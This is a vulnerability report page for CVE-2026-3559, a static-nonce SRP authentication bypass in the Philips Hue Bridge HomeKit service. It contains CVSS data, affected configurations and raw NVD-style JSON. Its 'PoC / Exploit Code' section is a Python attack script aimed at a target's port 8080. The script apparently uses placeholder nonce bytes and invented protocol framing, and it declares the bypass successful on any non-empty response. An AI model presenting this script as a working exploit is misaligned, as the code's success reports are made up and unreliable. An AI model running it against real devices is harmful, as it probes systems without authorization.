Security Vulnerability Report
中文
CVE-2026-3559 CVSS 8.1 HIGH

CVE-2026-3559

Published: 2026-03-16 14:19:52
Last Modified: 2026-04-27 14:47:39

Description

Philips Hue Bridge HomeKit Accessory Protocol Static Nonce Authentication Bypass Vulnerability. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Philips Hue Bridge. Authentication is not required to exploit this vulnerability. The specific flaw exists within the configuration of the SRP authentication mechanism in the HomeKit Accessory Protocol service, which listens on TCP port 8080 by default. The issue results from the use of a static nonce value. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-28451.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
Philips Hue Bridge (具体版本需参考厂商公告)
运行HomeKit Accessory Protocol服务的Hue Bridge固件

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-3559 Philips Hue Bridge Authentication Bypass PoC # This is a conceptual PoC for educational purposes only import socket import struct import hashlib def cve_2026_3559_poc(target_ip, target_port=8080): """ Philips Hue Bridge HomeKit SRP Static Nonce Authentication Bypass This PoC demonstrates the authentication bypass vulnerability where the SRP authentication mechanism uses a static nonce value instead of a dynamically generated one. """ # Static nonce value (extracted from legitimate authentication) # In real attack, this would be captured from a valid session STATIC_NONCE = b'\x00' * 32 # Placeholder static nonce try: # Create socket connection to Hue Bridge sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Construct SRP authentication request with static nonce # The vulnerability allows bypassing authentication using # the known static nonce value srp_request = construct_srp_request(STATIC_NONCE) # Send malicious authentication request sock.send(srp_request) # Receive response response = sock.recv(4096) # Check if authentication bypass was successful if validate_auth_bypass(response): print(f"[+] Authentication bypass successful on {target_ip}:{target_port}") print("[+] Attacker can now access Hue Bridge without credentials") return True else: print("[-] Authentication bypass failed") return False except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() def construct_srp_request(static_nonce): """Construct SRP authentication request with static nonce""" # HomeKit Accessory Protocol header header = b'\x00\x00\x00' # SRP authentication with static nonce auth_data = b'\x01' + static_nonce # Auth type + static nonce # Length prefix length = struct.pack('>I', len(auth_data)) return header + length + auth_data def validate_auth_bypass(response): """Validate if authentication bypass was successful""" # Check for successful authentication indicators # In real scenario, would parse HomeKit protocol response if len(response) > 0: # Parse response for authentication success return True return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2026-3559-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] cve_2026_3559_poc(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3559", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:51.820", "lastModified": "2026-04-27T14:47:38.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Philips Hue Bridge HomeKit Accessory Protocol Static Nonce Authentication Bypass Vulnerability. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Philips Hue Bridge. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the configuration of the SRP authentication mechanism in the HomeKit Accessory Protocol service, which listens on TCP port 8080 by default. The issue results from the use of a static nonce value. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-28451."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autenticación por nonce estático en el Protocolo de Accesorios HomeKit de Philips Hue Bridge. Esta vulnerabilidad permite a atacantes adyacentes a la red omitir la autenticación en instalaciones afectadas de Philips Hue Bridge. La autenticación no es necesaria para explotar esta vulnerabilidad.\n\nLa falla específica reside en la configuración del mecanismo de autenticación SRP en el servicio del Protocolo de Accesorios HomeKit, que escucha en el puerto TCP 8080 por defecto. El problema se debe al uso de un valor nonce estático. Un atacante puede aprovechar esta vulnerabilidad para omitir la autenticación en el sistema. Fue ZDI-CAN-28451."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-323"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1975170000", "matchCriteriaId": "C4C925A5-D9FB-482D-A98D-F879B1BD21EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "55B37D18-3A59-423E-9D73-F80DFDB14C4D"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-157/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}